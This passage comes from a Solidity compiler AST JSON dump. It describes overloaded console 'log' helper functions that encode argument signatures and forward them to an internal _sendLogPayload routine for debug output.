\"log(bool,bool,uint)\""},"value":"log(bool,bool,uint)"},{"id":17381,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17370,"src":"15008:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17382,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17372,"src":"15012:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17383,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17374,"src":"15016:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b01365bbae43503e22260bcc9cf23ffef37ffc9f6c1580737fe2489955065877","typeString":"literal_string \"log(bool,bool,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17378,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14961:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17379,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14965:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14961:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17384,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14961:58:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17377,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"14945:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17385,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14945:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17386,"nodeType":"ExpressionStatement","src":"14945:75:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14890:3:14","parameters":{"id":17375,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17370,"mutability":"mutable","name":"p0","nameLocation":"14899:2:14","nodeType":"VariableDeclaration","scope":17388,"src":"14894:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17369,"name":"bool","nodeType":"ElementaryTypeName","src":"14894:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17372,"mutability":"mutable","name":"p1","nameLocation":"14908:2:14","nodeType":"VariableDeclaration","scope":17388,"src":"14903:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17371,"name":"bool","nodeType":"ElementaryTypeName","src":"14903:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17374,"mutability":"mutable","name":"p2","nameLocation":"14917:2:14","nodeType":"VariableDeclaration","scope":17388,"src":"14912:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17373,"name":"uint","nodeType":"ElementaryTypeName","src":"14912:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14893:27:14"},"returnParameters":{"id":17376,"nodeType":"ParameterList","parameters":[],"src":"14935:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17408,"nodeType":"FunctionDefinition","src":"15033:157:14","nodes":[],"body":{"id":17407,"nodeType":"Block","src":"15096:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c737472696e6729","id":17400,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15146:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2555fa465662416fc443b21c515f245dc550a66f7c658773f7bd7ad91c82f2cc","typeString":"literal_string \"log(bool,bool,string)\""},"value":"log(bool,bool,string)"},{"id":17401,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17390,"src":"15171:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17402,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17392,"src":"15175:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17403,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17394,"src":"15179:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2555fa465662416fc443b21c515f245dc550a66f7c658773f7bd7ad91c82f2cc","typeString":"literal_string \"log(bool,bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17398,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15122:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17399,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15126:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15122:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17404,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15122:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17397,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"15106:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17405,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15106:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17406,"nodeType":"ExpressionStatement","src":"15106:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15042:3:14","parameters":{"id":17395,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17390,"mutability":"mutable","name":"p0","nameLocation":"15051:2:14","nodeType":"VariableDeclaration","scope":17408,"src":"15046:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17389,"name":"bool","nodeType":"ElementaryTypeName","src":"15046:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17392,"mutability":"mutable","name":"p1","nameLocation":"15060:2:14","nodeType":"VariableDeclaration","scope":17408,"src":"15055:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17391,"name":"bool","nodeType":"ElementaryTypeName","src":"15055:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17394,"mutability":"mutable","name":"p2","nameLocation":"15078:2:14","nodeType":"VariableDeclaration","scope":17408,"src":"15064:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17393,"name":"string","nodeType":"ElementaryTypeName","src":"15064:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15045:36:14"},"returnParameters":{"id":17396,"nodeType":"ParameterList","parameters":[],"src":"15096:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17428,"nodeType":"FunctionDefinition","src":"15196:146:14","nodes":[],"body":{"id":17427,"nodeType":"Block","src":"15250:92:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c626f6f6c29","id":17420,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15300:21:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_50709698278bb02f656e4ac53a2ae8ef0ec4064d340360a5fa4d933e9a742590","typeString":"literal_string \"log(bool,bool,bool)\""},"value":"log(bool,bool,bool)"},{"id":17421,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17410,"src":"15323:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17422,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17412,"src":"15327:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17423,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17414,"src":"15331:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_50709698278bb02f656e4ac53a2ae8ef0ec4064d340360a5fa4d933e9a742590","typeString":"literal_string \"log(bool,bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17418,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15276:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17419,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15280:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15276:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17424,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15276:58:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17417,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"15260:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17425,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15260:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17426,"nodeType":"ExpressionStatement","src":"15260:75:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15205:3:14","parameters":{"id":17415,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17410,"mutability":"mutable","name":"p0","nameLocation":"15214:2:14","nodeType":"VariableDeclaration","scope":17428,"src":"15209:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17409,"name":"bool","nodeType":"ElementaryTypeName","src":"15209:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17412,"mutability":"mutable","name":"p1","nameLocation":"15223:2:14","nodeType":"VariableDeclaration","scope":17428,"src":"15218:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17411,"name":"bool","nodeType":"ElementaryTypeName","src":"15218:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17414,"mutability":"mutable","name":"p2","nameLocation":"15232:2:14","nodeType":"VariableDeclaration","scope":17428,"src":"15227:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17413,"name":"bool","nodeType":"ElementaryTypeName","src":"15227:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"15208:27:14"},"returnParameters":{"id":17416,"nodeType":"ParameterList","parameters":[],"src":"15250:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17448,"nodeType":"FunctionDefinition","src":"15348:152:14","nodes":[],"body":{"id":17447,"nodeType":"Block","src":"15405:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c6164647265737329","id":17440,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15455:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1078f68da6ddbbe80f829fe8d54d1f2c6347e1ee4ec5a2a7a3a330ada9eccf81","typeString":"literal_string \"log(bool,bool,address)\""},"value":"log(bool,bool,address)"},{"id":17441,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17430,"src":"15481:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17442,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17432,"src":"15485:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17443,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17434,"src":"15489:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1078f68da6ddbbe80f829fe8d54d1f2c6347e1ee4ec5a2a7a3a330ada9eccf81","typeString":"literal_string \"log(bool,bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17438,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15431:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17439,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15435:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15431:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17444,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15431:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17437,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"15415:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17445,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15415:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17446,"nodeType":"ExpressionStatement","src":"15415:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15357:3:14","parameters":{"id":17435,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17430,"mutability":"mutable","name":"p0","nameLocation":"15366:2:14","nodeType":"VariableDeclaration","scope":17448,"src":"15361:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17429,"name":"bool","nodeType":"ElementaryTypeName","src":"15361:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17432,"mutability":"mutable","name":"p1","nameLocation":"15375:2:14","nodeType":"VariableDeclaration","scope":17448,"src":"15370:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17431,"name":"bool","nodeType":"ElementaryTypeName","src":"15370:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17434,"mutability":"mutable","name":"p2","nameLocation":"15387:2:14","nodeType":"VariableDeclaration","scope":17448,"src":"15379:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17433,"name":"address","nodeType":"ElementaryTypeName","src":"15379:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"15360:30:14"},"returnParameters":{"id":17436,"nodeType":"ParameterList","parameters":[],"src":"15405:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17468,"nodeType":"FunctionDefinition","src":"15506:152:14","nodes":[],"body":{"id":17467,"nodeType":"Block","src":"15563:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c75696e7429","id":17460,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15613:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb704bafbd89369a907d48394b6acdacf482ae42cc2aaedd1cc37e89b4054b3d","typeString":"literal_string \"log(bool,address,uint)\""},"value":"log(bool,address,uint)"},{"id":17461,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17450,"src":"15639:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17462,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17452,"src":"15643:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17463,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17454,"src":"15647:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_eb704bafbd89369a907d48394b6acdacf482ae42cc2aaedd1cc37e89b4054b3d","typeString":"literal_string \"log(bool,address,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17458,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15589:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17459,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15593:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15589:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17464,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15589:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17457,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"15573:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17465,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15573:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17466,"nodeType":"ExpressionStatement","src":"15573:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15515:3:14","parameters":{"id":17455,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17450,"mutability":"mutable","name":"p0","nameLocation":"15524:2:14","nodeType":"VariableDeclaration","scope":17468,"src":"15519:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17449,"name":"bool","nodeType":"ElementaryTypeName","src":"15519:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17452,"mutability":"mutable","name":"p1","nameLocation":"15536:2:14","nodeType":"VariableDeclaration","scope":17468,"src":"15528:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17451,"name":"address","nodeType":"ElementaryTypeName","src":"15528:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17454,"mutability":"mutable","name":"p2","nameLocation":"15545:2:14","nodeType":"VariableDeclaration","scope":17468,"src":"15540:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17453,"name":"uint","nodeType":"ElementaryTypeName","src":"15540:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"15518:30:14"},"returnParameters":{"id":17456,"nodeType":"ParameterList","parameters":[],"src":"15563:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17488,"nodeType":"FunctionDefinition","src":"15664:163:14","nodes":[],"body":{"id":17487,"nodeType":"Block","src":"15730:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c737472696e6729","id":17480,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15780:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_de9a927090b15ed84eefc0c471675a23ce67fd75011b1652fe17ca2dd0dcd06d","typeString":"literal_string \"log(bool,address,string)\""},"value":"log(bool,address,string)"},{"id":17481,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17470,"src":"15808:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17482,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17472,"src":"15812:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17483,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17474,"src":"15816:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_de9a927090b15ed84eefc0c471675a23ce67fd75011b1652fe17ca2dd0dcd06d","typeString":"literal_string \"log(bool,address,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17478,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15756:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17479,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15760:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15756:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17484,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15756:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17477,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"15740:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17485,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15740:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17486,"nodeType":"ExpressionStatement","src":"15740:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15673:3:14","parameters":{"id":17475,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17470,"mutability":"mutable","name":"p0","nameLocation":"15682:2:14","nodeType":"VariableDeclaration","scope":17488,"src":"15677:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17469,"name":"bool","nodeType":"ElementaryTypeName","src":"15677:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17472,"mutability":"mutable","name":"p1","nameLocation":"15694:2:14","nodeType":"VariableDeclaration","scope":17488,"src":"15686:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17471,"name":"address","nodeType":"ElementaryTypeName","src":"15686:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17474,"mutability":"mutable","name":"p2","nameLocation":"15712:2:14","nodeType":"VariableDeclaration","scope":17488,"src":"15698:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17473,"name":"string","nodeType":"ElementaryTypeName","src":"15698:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15676:39:14"},"returnParameters":{"id":17476,"nodeType":"ParameterList","parameters":[],"src":"15730:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17508,"nodeType":"FunctionDefinition","src":"15833:152:14","nodes":[],"body":{"id":17507,"nodeType":"Block","src":"15890:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c626f6f6c29","id":17500,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15940:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_18c9c746c9d0e38e4dc234ee76e678bbaa4e473eca3dce0969637d7f01e4a908","typeString":"literal_string \"log(bool,address,bool)\""},"value":"log(bool,address,bool)"},{"id":17501,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17490,"src":"15966:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17502,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17492,"src":"15970:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17503,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17494,"src":"15974:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_18c9c746c9d0e38e4dc234ee76e678bbaa4e473eca3dce0969637d7f01e4a908","typeString":"literal_string \"log(bool,address,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17498,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15916:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17499,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15920:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15916:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes 